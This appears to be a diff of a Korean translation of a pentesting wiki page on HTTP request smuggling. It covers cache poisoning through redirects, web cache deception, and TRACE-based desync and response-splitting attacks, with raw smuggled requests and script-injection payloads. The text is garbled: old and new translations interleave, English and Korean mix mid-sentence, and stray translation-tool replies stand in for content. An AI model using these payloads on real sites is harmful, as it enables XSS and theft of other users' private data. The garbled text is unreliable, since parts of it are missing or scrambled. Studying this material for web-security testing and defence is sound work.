아래는 **cache poisoning combined with an on-site redirect to open redirect**를 이용한 악용 예시입니다. 목표는 `/static/include.js`의 캐시 내용을 공격자가 제어하는 JavaScript 코드로 변경하는 것입니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -650,20 +649,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
임베디드된 요청이 `/post/next?postId=3`을(를) 대상으로 하고 있다는 점에 주목하세요. 이 요청은 `/post?postId=4`로 리디렉션되며, 도메인 판별을 위해 **Host header value**를 사용합니다. 공격자가 **Host header**를 변경하면 요청을 자신들의 도메인으로 리디렉션할 수 있습니다 (**on-site redirect to open redirect**).
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
|
||||
성공적인 **socket poisoning** 이후 `/static/include.js`에 대한 **GET request**가 시작되어야 합니다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
|
||||
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
|
||||
|
||||
그 이후 `/static/include.js`에 대한 모든 요청은 공격자의 스크립트가 캐시된 내용을 제공하게 되어, 사실상 광범위한 XSS 공격이 시작됩니다.
|
||||
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
|
||||
|
||||
### HTTP request smuggling을 사용한 web cache deception 수행 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **web cache poisoning과 web cache deception의 차이는 무엇인가요?**
|
||||
> **What is the difference between web cache poisoning and web cache deception?**
|
||||
>
|
||||
> - **web cache poisoning**에서는 공격자가 애플리케이션이 캐시에 일부 악성 콘텐츠를 저장하도록 유도하고, 그 콘텐츠가 캐시에서 다른 사용자들에게 제공됩니다.
|
||||
> - **web cache deception**에서는 공격자가 다른 사용자에 속한 민감한 콘텐츠를 캐시에 저장하도록 유도한 뒤, 그 콘텐츠를 캐시에서 꺼내어 읽어냅니다.
|
||||
> - In **web cache poisoning**, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 이 콘텐츠는 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
|
||||
> - In **web cache deception**, 공격자는 애플리케이션이 다른 사용자에 속하는 민감한 콘텐츠를 cache에 저장하도록 만들고, 이후 공격자가 그 콘텐츠를 cache에서 추출합니다.
|
||||
|
||||
공격자는 민감한 사용자별 콘텐츠를 가져오는 smuggled request를 구성합니다. 다음 예를 고려하세요:
|
||||
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -674,17 +673,17 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
|
||||
만약 이 smuggled request가 정적 콘텐츠(예: `/someimage.png`)용으로 되어 있던 캐시 항목을 오염시킨다면, `/private/messages`의 피해자의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있다. 결과적으로 공격자는 이 캐시된 민감한 데이터를 잠재적으로 가져올 수 있다.
|
||||
|
||||
### HTTP Request Smuggling을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### TRACE를 이용한 HTTP Request Smuggling 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 에서는 서버에 TRACE 메서드가 활성화되어 있는 경우 HTTP Request Smuggling으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답의 본문 일부로 반사하기 때문입니다. 예를 들어:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 는 서버에 TRACE 메서드가 활성화되어 있다면 HTTP Request Smuggling으로 이를 악용할 수 있다고 제시한다. 이는 이 메서드가 서버로 전송된 어떤 헤더든 응답 본문의 일부로 반사하기 때문이다. 예를 들어:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
번역할 README.md의 내용을 여기에 붙여넣어 주세요. 코드, 태그, 링크/경로, 기법 이름 등 번역하지 말라는 규칙을 준수하여 한국어로 번역해 드리겠습니다.
|
||||
파일 내용을 붙여 보내주세요. 지침에 따라 마크다운/HTML 구문은 그대로 유지하고, 코드·태그·링크·기술용어 등 번역하지 않음으로 번역해 드리겠습니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -695,15 +694,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
|
||||
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
An example on how to abuse this behaviour would be to **먼저 HEAD 요청을 smuggle**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **HEAD 바로 다음에 TRACE 요청을 smuggle**, which will be **전송된 데이터를 반사합니다**.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **TRACE 요청의 응답이 HEAD 응답의 바디로 처리되어 결과적으로 응답에서 임의의 데이터를 반사합니다**.\
|
||||
This response will be sent to the next request over the connection, so this could be **예를 들어 캐시된 JS 파일에서 임의의 JS 코드를 주입하는 데 사용될 수 있습니다**.
|
||||
|
||||
### HTTP Response Splitting을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### TRACE를 이용한 HTTP Response Splitting 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
자세한 내용은 [**this post**](https://portswigger.net/research/trace-desync-attack)를 참고하면 TRACE method를 악용하는 또 다른 방법이 제안되어 있습니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 smuggle하면 HEAD 응답에서 일부 반사된 데이터를 제어하는 것이 가능합니다. HEAD 요청 본문의 길이는 기본적으로 `Content-Length` 헤더에 의해 표시되며 TRACE 요청의 응답으로 구성됩니다.
|
||||
계속해서 [**this post**](https://portswigger.net/research/trace-desync-attack)를 따라가면 TRACE 메서드를 악용하는 또 다른 방법이 제시됩니다. 앞에서 언급했듯이, HEAD 요청과 TRACE 요청을 smuggling하면 HEAD 응답에서 **일부 반사된 데이터를 제어할 수 있습니다**. The length of the body of the HEAD request is basically indicated in the `Content-Length` header and is formed by the response to the TRACE request.
|
||||
|
||||
따라서, 이 `Content-Length`와 TRACE 응답에 포함된 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 뒤에 유효한 HTTP response를 포함하도록 만들 수 있고, 이는 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하여 (cache poisoning 수행에 사용될 수 있습니다).
|
||||
따라서 새로운 아이디어는, 이 `Content-Length`와 TRACE 응답에서 제공된 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들 수 있다는 것입니다. 이렇게 하면 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 되어 (이는 cache poisoning 수행에 사용될 수 있습니다).
|
||||
|
||||
Example:
|
||||
```
|
||||
@ -724,7 +723,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
다음과 같은 응답을 생성합니다(HEAD 응답이 Content-Length를 포함하고 있어 TRACE 응답이 HEAD 본문의 일부가 되며, HEAD의 Content-Length가 끝나면 유효한 HTTP 응답이 smuggled 되는 점에 주의하세요):
|
||||
다음 응답들을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되는 것에 주목하세요. 그리고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 smuggled 됩니다):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -745,16 +744,16 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP Response Desynchronisation로 HTTP Request Smuggling 무기화하기
|
||||
### HTTP Response Desynchronisation을 이용한 HTTP Request Smuggling 무기화
|
||||
|
||||
HTTP Request Smuggling 취약점을 발견했지만 어떻게 exploit할지 모르겠다면, 다음 다른 exploitation 방법들을 시도해보세요:
|
||||
HTTP Request Smuggling 취약점을 찾았지만 어떻게 익스플로잇할지 모르겠다면, 다음 다른 익스플로잇 방법들을 시도해보세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### 기타 HTTP Request Smuggling 기법
|
||||
### 기타 HTTP Request Smuggling Techniques
|
||||
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
@ -859,16 +858,16 @@ table.add(req)
|
||||
```
|
||||
## 도구
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – 연결/프레이밍 및 저수준 HTTP 동작을 시각화합니다
|
||||
- HTTP Hacker (Burp BApp Store) – 연결/프레이밍과 저수준 HTTP 동작을 시각화
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반 HTTP Fuzzer로, 이상한 request smuggling 불일치를 찾아내는 데 유용합니다.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반의 HTTP Fuzzer로 이상한 request smuggling 불일치를 찾는 데 유용합니다.
|
||||
|
||||
## 참고자료
|
||||
## 참고 자료
|
||||
|
||||
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
@ -879,7 +878,7 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- 오탐(false false‑positive) 주의: HTTP pipelining과 request smuggling을 구별하는 방법 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- 거짓 양성(오탐)에 주의: HTTP pipelining과 request smuggling을 구분하는 방법 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
Loading…
x
Reference in New Issue
Block a user